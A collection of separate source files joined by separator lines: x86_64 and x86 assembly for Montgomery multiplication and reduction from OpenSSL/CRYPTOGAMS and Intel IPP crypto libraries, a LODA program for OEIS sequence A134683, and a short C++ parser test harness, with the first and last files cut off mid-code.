mov rax,QWORD[16+rbp*1+rsi]
mov QWORD[16+rdi],rbx
adc r8,rdx
mov QWORD[24+rdi],r8
sbb r15,r15
lea rdi,[64+rdi]
add rbp,32
jnz NEAR $L$sqr4x_shift_n_add
lea r12,[r10*2+r14]
DB 0x67
shr r10,63
lea r13,[r11*2+rcx]
shr r11,63
or r13,r10
mov r10,QWORD[((-16))+rdi]
mov r14,r11
mul rax
neg r15
mov r11,QWORD[((-8))+rdi]
adc r12,rax
mov rax,QWORD[((-8))+rsi]
mov QWORD[((-32))+rdi],r12
adc r13,rdx
lea rbx,[r10*2+r14]
mov QWORD[((-24))+rdi],r13
sbb r15,r15
shr r10,63
lea r8,[r11*2+rcx]
shr r11,63
or r8,r10
mul rax
neg r15
adc rbx,rax
adc r8,rdx
mov QWORD[((-16))+rdi],rbx
mov QWORD[((-8))+rdi],r8
DB 102,72,15,126,213
sqr8x_reduction:
xor rax,rax
lea rcx,[r9*2+rbp]
lea rdx,[((48+8))+r9*2+rsp]
mov QWORD[((0+8))+rsp],rcx
lea rdi,[((48+8))+r9*1+rsp]
mov QWORD[((8+8))+rsp],rdx
neg r9
jmp NEAR $L$8x_reduction_loop
ALIGN 32
$L$8x_reduction_loop:
lea rdi,[r9*1+rdi]
DB 0x66
mov rbx,QWORD[rdi]
mov r9,QWORD[8+rdi]
mov r10,QWORD[16+rdi]
mov r11,QWORD[24+rdi]
mov r12,QWORD[32+rdi]
mov r13,QWORD[40+rdi]
mov r14,QWORD[48+rdi]
mov r15,QWORD[56+rdi]
mov QWORD[rdx],rax
lea rdi,[64+rdi]
DB 0x67
mov r8,rbx
imul rbx,QWORD[((32+8))+rsp]
mov rax,QWORD[rbp]
mov ecx,8
jmp NEAR $L$8x_reduce
ALIGN 32
$L$8x_reduce:
mul rbx
mov rax,QWORD[16+rbp]
neg r8
mov r8,rdx
adc r8,0
mul rbx
add r9,rax
mov rax,QWORD[32+rbp]
adc rdx,0
add r8,r9
mov QWORD[((48-8+8))+rcx*8+rsp],rbx
mov r9,rdx
adc r9,0
mul rbx
add r10,rax
mov rax,QWORD[48+rbp]
adc rdx,0
add r9,r10
mov rsi,QWORD[((32+8))+rsp]
mov r10,rdx
adc r10,0
mul rbx
add r11,rax
mov rax,QWORD[64+rbp]
adc rdx,0
imul rsi,r8
add r10,r11
mov r11,rdx
adc r11,0
mul rbx
add r12,rax
mov rax,QWORD[80+rbp]
adc rdx,0
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD[96+rbp]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD[112+rbp]
adc rdx,0
add r13,r14
mov r14,rdx
adc r14,0
mul rbx
mov rbx,rsi
add r15,rax
mov rax,QWORD[rbp]
adc rdx,0
add r14,r15
mov r15,rdx
adc r15,0
dec ecx
jnz NEAR $L$8x_reduce
lea rbp,[128+rbp]
xor rax,rax
mov rdx,QWORD[((8+8))+rsp]
cmp rbp,QWORD[((0+8))+rsp]
jae NEAR $L$8x_no_tail
DB 0x66
add r8,QWORD[rdi]
adc r9,QWORD[8+rdi]
adc r10,QWORD[16+rdi]
adc r11,QWORD[24+rdi]
adc r12,QWORD[32+rdi]
adc r13,QWORD[40+rdi]
adc r14,QWORD[48+rdi]
adc r15,QWORD[56+rdi]
sbb rsi,rsi
mov rbx,QWORD[((48+56+8))+rsp]
mov ecx,8
mov rax,QWORD[rbp]
jmp NEAR $L$8x_tail
ALIGN 32
$L$8x_tail:
mul rbx
add r8,rax
mov rax,QWORD[16+rbp]
mov QWORD[rdi],r8
mov r8,rdx
adc r8,0
mul rbx
add r9,rax
mov rax,QWORD[32+rbp]
adc rdx,0
add r8,r9
lea rdi,[8+rdi]
mov r9,rdx
adc r9,0
mul rbx
add r10,rax
mov rax,QWORD[48+rbp]
adc rdx,0
add r9,r10
mov r10,rdx
adc r10,0
mul rbx
add r11,rax
mov rax,QWORD[64+rbp]
adc rdx,0
add r10,r11
mov r11,rdx
adc r11,0
mul rbx
add r12,rax
mov rax,QWORD[80+rbp]
adc rdx,0
add r11,r12
mov r12,rdx
adc r12,0
mul rbx
add r13,rax
mov rax,QWORD[96+rbp]
adc rdx,0
add r12,r13
mov r13,rdx
adc r13,0
mul rbx
add r14,rax
mov rax,QWORD[112+rbp]
adc rdx,0
add r13,r14
mov r14,rdx
adc r14,0
mul rbx
mov rbx,QWORD[((48-16+8))+rcx*8+rsp]
add r15,rax
adc rdx,0
add r14,r15
mov rax,QWORD[rbp]
mov r15,rdx
adc r15,0
dec ecx
jnz NEAR $L$8x_tail
lea rbp,[128+rbp]
mov rdx,QWORD[((8+8))+rsp]
cmp rbp,QWORD[((0+8))+rsp]
jae NEAR $L$8x_tail_done
mov rbx,QWORD[((48+56+8))+rsp]
neg rsi
mov rax,QWORD[rbp]
adc r8,QWORD[rdi]
adc r9,QWORD[8+rdi]
adc r10,QWORD[16+rdi]
adc r11,QWORD[24+rdi]
adc r12,QWORD[32+rdi]
adc r13,QWORD[40+rdi]
adc r14,QWORD[48+rdi]
adc r15,QWORD[56+rdi]
sbb rsi,rsi
mov ecx,8
jmp NEAR $L$8x_tail
ALIGN 32
$L$8x_tail_done:
add r8,QWORD[rdx]
xor rax,rax
neg rsi
$L$8x_no_tail:
adc r8,QWORD[rdi]
adc r9,QWORD[8+rdi]
adc r10,QWORD[16+rdi]
adc r11,QWORD[24+rdi]
adc r12,QWORD[32+rdi]
adc r13,QWORD[40+rdi]
adc r14,QWORD[48+rdi]
adc r15,QWORD[56+rdi]
adc rax,0
mov rcx,QWORD[((-16))+rbp]
xor rsi,rsi
DB 102,72,15,126,213
mov QWORD[rdi],r8
mov QWORD[8+rdi],r9
DB 102,73,15,126,217
mov QWORD[16+rdi],r10
mov QWORD[24+rdi],r11
mov QWORD[32+rdi],r12
mov QWORD[40+rdi],r13
mov QWORD[48+rdi],r14
mov QWORD[56+rdi],r15
lea rdi,[64+rdi]
cmp rdi,rdx
jb NEAR $L$8x_reduction_loop
sub rcx,r15
lea rbx,[r9*1+rdi]
adc rsi,rsi
mov rcx,r9
or rax,rsi
DB 102,72,15,126,207
xor rax,1
DB 102,72,15,126,206
lea rbp,[rax*8+rbp]
sar rcx,3+2
jmp NEAR $L$sqr4x_sub
ALIGN 32
$L$sqr4x_sub:
DB 0x66
mov r12,QWORD[rbx]
mov r13,QWORD[8+rbx]
sbb r12,QWORD[rbp]
mov r14,QWORD[16+rbx]
sbb r13,QWORD[16+rbp]
mov r15,QWORD[24+rbx]
lea rbx,[32+rbx]
sbb r14,QWORD[32+rbp]
mov QWORD[rdi],r12
sbb r15,QWORD[48+rbp]
lea rbp,[64+rbp]
mov QWORD[8+rdi],r13
mov QWORD[16+rdi],r14
mov QWORD[24+rdi],r15
lea rdi,[32+rdi]
inc rcx
jnz NEAR $L$sqr4x_sub
mov r10,r9
neg r9
DB 0F3h,0C3h ;repret
global bn_from_montgomery
ALIGN 32
bn_from_montgomery:
test DWORD[48+rsp],7
jz NEAR bn_from_mont8x
xor eax,eax
DB 0F3h,0C3h ;repret
ALIGN 32
bn_from_mont8x:
mov QWORD[8+rsp],rdi ;WIN64 prologue
mov QWORD[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_bn_from_mont8x:
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
mov r8,QWORD[40+rsp]
mov r9,QWORD[48+rsp]
DB 0x67
mov rax,rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rsp,[((-40))+rsp]
movaps XMMWORD[rsp],xmm6
movaps XMMWORD[16+rsp],xmm7
DB 0x67
mov r10d,r9d
shl r9d,3
shl r10d,3+2
neg r9
mov r8,QWORD[r8]
lea r11,[((-64))+r9*2+rsp]
sub r11,rsi
and r11,4095
cmp r10,r11
jb NEAR $L$from_sp_alt
sub rsp,r11
lea rsp,[((-64))+r9*2+rsp]
jmp NEAR $L$from_sp_done
ALIGN 32
$L$from_sp_alt:
lea r10,[((4096-64))+r9*2]
lea rsp,[((-64))+r9*2+rsp]
sub r11,r10
mov r10,0
cmovc r11,r10
sub rsp,r11
$L$from_sp_done:
and rsp,-64
mov r10,r9
neg r9
mov QWORD[32+rsp],r8
mov QWORD[40+rsp],rax
$L$from_body:
mov r11,r9
lea rax,[48+rsp]
pxor xmm0,xmm0
jmp NEAR $L$mul_by_1
ALIGN 32
$L$mul_by_1:
movdqu xmm1,XMMWORD[rsi]
movdqu xmm2,XMMWORD[16+rsi]
movdqu xmm3,XMMWORD[32+rsi]
movdqa XMMWORD[r9*1+rax],xmm0
movdqu xmm4,XMMWORD[48+rsi]
movdqa XMMWORD[16+r9*1+rax],xmm0
DB 0x48,0x8d,0xb6,0x40,0x00,0x00,0x00
movdqa XMMWORD[rax],xmm1
movdqa XMMWORD[32+r9*1+rax],xmm0
movdqa XMMWORD[16+rax],xmm2
movdqa XMMWORD[48+r9*1+rax],xmm0
movdqa XMMWORD[32+rax],xmm3
movdqa XMMWORD[48+rax],xmm4
lea rax,[64+rax]
sub r11,64
jnz NEAR $L$mul_by_1
DB 102,72,15,110,207
DB 102,72,15,110,209
DB 0x67
mov rbp,rcx
DB 102,73,15,110,218
call sqr8x_reduction
pxor xmm0,xmm0
lea rax,[48+rsp]
mov rsi,QWORD[40+rsp]
jmp NEAR $L$from_mont_zero
ALIGN 32
$L$from_mont_zero:
movdqa XMMWORD[rax],xmm0
movdqa XMMWORD[16+rax],xmm0
movdqa XMMWORD[32+rax],xmm0
movdqa XMMWORD[48+rax],xmm0
lea rax,[64+rax]
sub r9,32
jnz NEAR $L$from_mont_zero
mov rax,1
mov r15,QWORD[((-48))+rsi]
mov r14,QWORD[((-40))+rsi]
mov r13,QWORD[((-32))+rsi]
mov r12,QWORD[((-24))+rsi]
mov rbp,QWORD[((-16))+rsi]
mov rbx,QWORD[((-8))+rsi]
lea rsp,[rsi]
$L$from_epilogue:
mov rdi,QWORD[8+rsp] ;WIN64 epilogue
mov rsi,QWORD[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_from_mont8x:
global bn_scatter5
ALIGN 16
bn_scatter5:
cmp edx,0
jz NEAR $L$scatter_epilogue
lea r8,[r9*8+r8]
$L$scatter:
mov rax,QWORD[rcx]
lea rcx,[8+rcx]
mov QWORD[r8],rax
lea r8,[256+r8]
sub edx,1
jnz NEAR $L$scatter
$L$scatter_epilogue:
DB 0F3h,0C3h ;repret
global bn_gather5
ALIGN 16
bn_gather5:
$L$SEH_begin_bn_gather5:
DB 0x48,0x83,0xec,0x28
DB 0x0f,0x29,0x34,0x24
DB 0x0f,0x29,0x7c,0x24,0x10
mov r11d,r9d
shr r9d,3
and r11,7
not r9d
lea rax,[$L$magic_masks]
and r9d,3
lea r8,[128+r11*8+r8]
movq xmm4,QWORD[r9*8+rax]
movq xmm5,QWORD[8+r9*8+rax]
movq xmm6,QWORD[16+r9*8+rax]
movq xmm7,QWORD[24+r9*8+rax]
jmp NEAR $L$gather
ALIGN 16
$L$gather:
movq xmm0,QWORD[(((-128)))+r8]
movq xmm1,QWORD[((-64))+r8]
pand xmm0,xmm4
movq xmm2,QWORD[r8]
pand xmm1,xmm5
movq xmm3,QWORD[64+r8]
pand xmm2,xmm6
por xmm0,xmm1
pand xmm3,xmm7
DB 0x67,0x67
por xmm0,xmm2
lea r8,[256+r8]
por xmm0,xmm3
movq QWORD[rcx],xmm0
lea rcx,[8+rcx]
sub edx,1
jnz NEAR $L$gather
movaps xmm6,XMMWORD[rsp]
movaps xmm7,XMMWORD[16+rsp]
lea rsp,[40+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_bn_gather5:
ALIGN 64
$L$magic_masks:
DD 0,0,0,0,0,0,-1,-1
DD 0,0,0,0,0,0,0,0
DB 77,111,110,116,103,111,109,101,114,121,32,77,117,108,116,105
DB 112,108,105,99,97,116,105,111,110,32,119,105,116,104,32,115
DB 99,97,116,116,101,114,47,103,97,116,104,101,114,32,102,111
DB 114,32,120,56,54,95,54,52,44,32,67,82,89,80,84,79
DB 71,65,77,83,32,98,121,32,60,97,112,112,114,111,64,111
DB 112,101,110,115,115,108,46,111,114,103,62,0
EXTERN __imp_RtlVirtualUnwind
ALIGN 16
mul_handler:
push rsi
push rdi
push rbx
push rbp
push r12
push r13
push r14
push r15
pushfq
sub rsp,64
mov rax,QWORD[120+r8]
mov rbx,QWORD[248+r8]
mov rsi,QWORD[8+r9]
mov r11,QWORD[56+r9]
mov r10d,DWORD[r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jb NEAR $L$common_seh_tail
mov rax,QWORD[152+r8]
mov r10d,DWORD[4+r11]
lea r10,[r10*1+rsi]
cmp rbx,r10
jae NEAR $L$common_seh_tail
lea r10,[$L$mul_epilogue]
cmp rbx,r10
jb NEAR $L$body_40
mov r10,QWORD[192+r8]
mov rax,QWORD[8+r10*8+rax]
jmp NEAR $L$body_proceed
$L$body_40:
mov rax,QWORD[40+rax]
$L$body_proceed:
movaps xmm0,XMMWORD[((-88))+rax]
movaps xmm1,XMMWORD[((-72))+rax]
mov rbx,QWORD[((-8))+rax]
mov rbp,QWORD[((-16))+rax]
mov r12,QWORD[((-24))+rax]
mov r13,QWORD[((-32))+rax]
mov r14,QWORD[((-40))+rax]
mov r15,QWORD[((-48))+rax]
mov QWORD[144+r8],rbx
mov QWORD[160+r8],rbp
mov QWORD[216+r8],r12
mov QWORD[224+r8],r13
mov QWORD[232+r8],r14
mov QWORD[240+r8],r15
movups XMMWORD[512+r8],xmm0
movups XMMWORD[528+r8],xmm1
$L$common_seh_tail:
mov rdi,QWORD[8+rax]
mov rsi,QWORD[16+rax]
mov QWORD[152+r8],rax
mov QWORD[168+r8],rsi
mov QWORD[176+r8],rdi
mov rdi,QWORD[40+r9]
mov rsi,r8
mov ecx,154
DD 0xa548f3fc
mov rsi,r9
xor rcx,rcx
mov rdx,QWORD[8+rsi]
mov r8,QWORD[rsi]
mov r9,QWORD[16+rsi]
mov r10,QWORD[40+rsi]
lea r11,[56+rsi]
lea r12,[24+rsi]
mov QWORD[32+rsp],r10
mov QWORD[40+rsp],r11
mov QWORD[48+rsp],r12
mov QWORD[56+rsp],rcx
call QWORD[__imp_RtlVirtualUnwind]
mov eax,1
add rsp,64
popfq
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
pop rdi
pop rsi
DB 0F3h,0C3h ;repret
section .pdata rdata align=4
ALIGN 4
DD $L$SEH_begin_bn_mul_mont_gather5 wrt ..imagebase
DD $L$SEH_end_bn_mul_mont_gather5 wrt ..imagebase
DD $L$SEH_info_bn_mul_mont_gather5 wrt ..imagebase
DD $L$SEH_begin_bn_mul4x_mont_gather5 wrt ..imagebase
DD $L$SEH_end_bn_mul4x_mont_gather5 wrt ..imagebase
DD $L$SEH_info_bn_mul4x_mont_gather5 wrt ..imagebase
DD $L$SEH_begin_bn_power5 wrt ..imagebase
DD $L$SEH_end_bn_power5 wrt ..imagebase
DD $L$SEH_info_bn_power5 wrt ..imagebase
DD $L$SEH_begin_bn_from_mont8x wrt ..imagebase
DD $L$SEH_end_bn_from_mont8x wrt ..imagebase
DD $L$SEH_info_bn_from_mont8x wrt ..imagebase
DD $L$SEH_begin_bn_gather5 wrt ..imagebase
DD $L$SEH_end_bn_gather5 wrt ..imagebase
DD $L$SEH_info_bn_gather5 wrt ..imagebase
section .xdata rdata align=8
ALIGN 8
$L$SEH_info_bn_mul_mont_gather5:
DB 9,0,0,0
DD mul_handler wrt ..imagebase
DD $L$mul_body wrt ..imagebase,$L$mul_epilogue wrt ..imagebase
ALIGN 8
$L$SEH_info_bn_mul4x_mont_gather5:
DB 9,0,0,0
DD mul_handler wrt ..imagebase
DD $L$mul4x_body wrt ..imagebase,$L$mul4x_epilogue wrt ..imagebase
ALIGN 8
$L$SEH_info_bn_power5:
DB 9,0,0,0
DD mul_handler wrt ..imagebase
DD $L$power5_body wrt ..imagebase,$L$power5_epilogue wrt ..imagebase
ALIGN 8
$L$SEH_info_bn_from_mont8x:
DB 9,0,0,0
DD mul_handler wrt ..imagebase
DD $L$from_body wrt ..imagebase,$L$from_epilogue wrt ..imagebase
ALIGN 8
$L$SEH_info_bn_gather5:
DB 0x01,0x0d,0x05,0x00
DB 0x0d,0x78,0x01,0x00
DB 0x08,0x68,0x00,0x00
DB 0x04,0x42,0x00,0x00
ALIGN 8
|
; A134683: Expansion of 1+x*(2+3*x)/(1-4*x^2).
; 1,2,3,8,12,32,48,128,192,512,768,2048,3072,8192,12288,32768,49152,131072,196608,524288,786432,2097152,3145728,8388608,12582912,33554432,50331648,134217728,201326592,536870912,805306368,2147483648,3221225472
mov $4,$0
add $0,2
mov $5,$4
sub $5,1
mov $2,$5
add $2,9
mod $2,2
add $2,2
mov $3,1
add $3,$2
mov $4,$3
mul $4,2
lpb $0
sub $0,1
add $1,$4
mul $1,2
sub $1,1
mov $4,1
lpe
div $1,32
add $1,1
|
#include "example/grammar.hpp"
#include <percy.hpp>
int main() {
using parser = percy::parser<example::grammar::top>;
auto exit_code = []() {
auto input = percy::input(INPUT_CODE);
auto result = parser::parse(input);
return result.is_success() ? 0 : 1;
}();
return exit_code;
}
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.globl _cpMontRedAdc_BNU
_cpMontRedAdc_BNU:
push %ebp
mov %esp, %ebp
push %ebx
push %esi
push %edi
movl (16)(%ebp), %eax
movl (20)(%ebp), %edi
movl (12)(%ebp), %edx
.Ltst_reduct4gas_1:
cmp $(4), %edi
jne .Ltst_reduct5gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (16)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (16)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (20)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (20)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (24)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (24)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (28)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (28)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(16), %edx
jmp .Lfinishgas_1
.Ltst_reduct5gas_1:
cmp $(5), %edi
jne .Ltst_reduct6gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (20)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (20)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (24)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (24)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (8)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (28)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (28)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (12)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (32)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (32)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (36)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (36)(%edx)
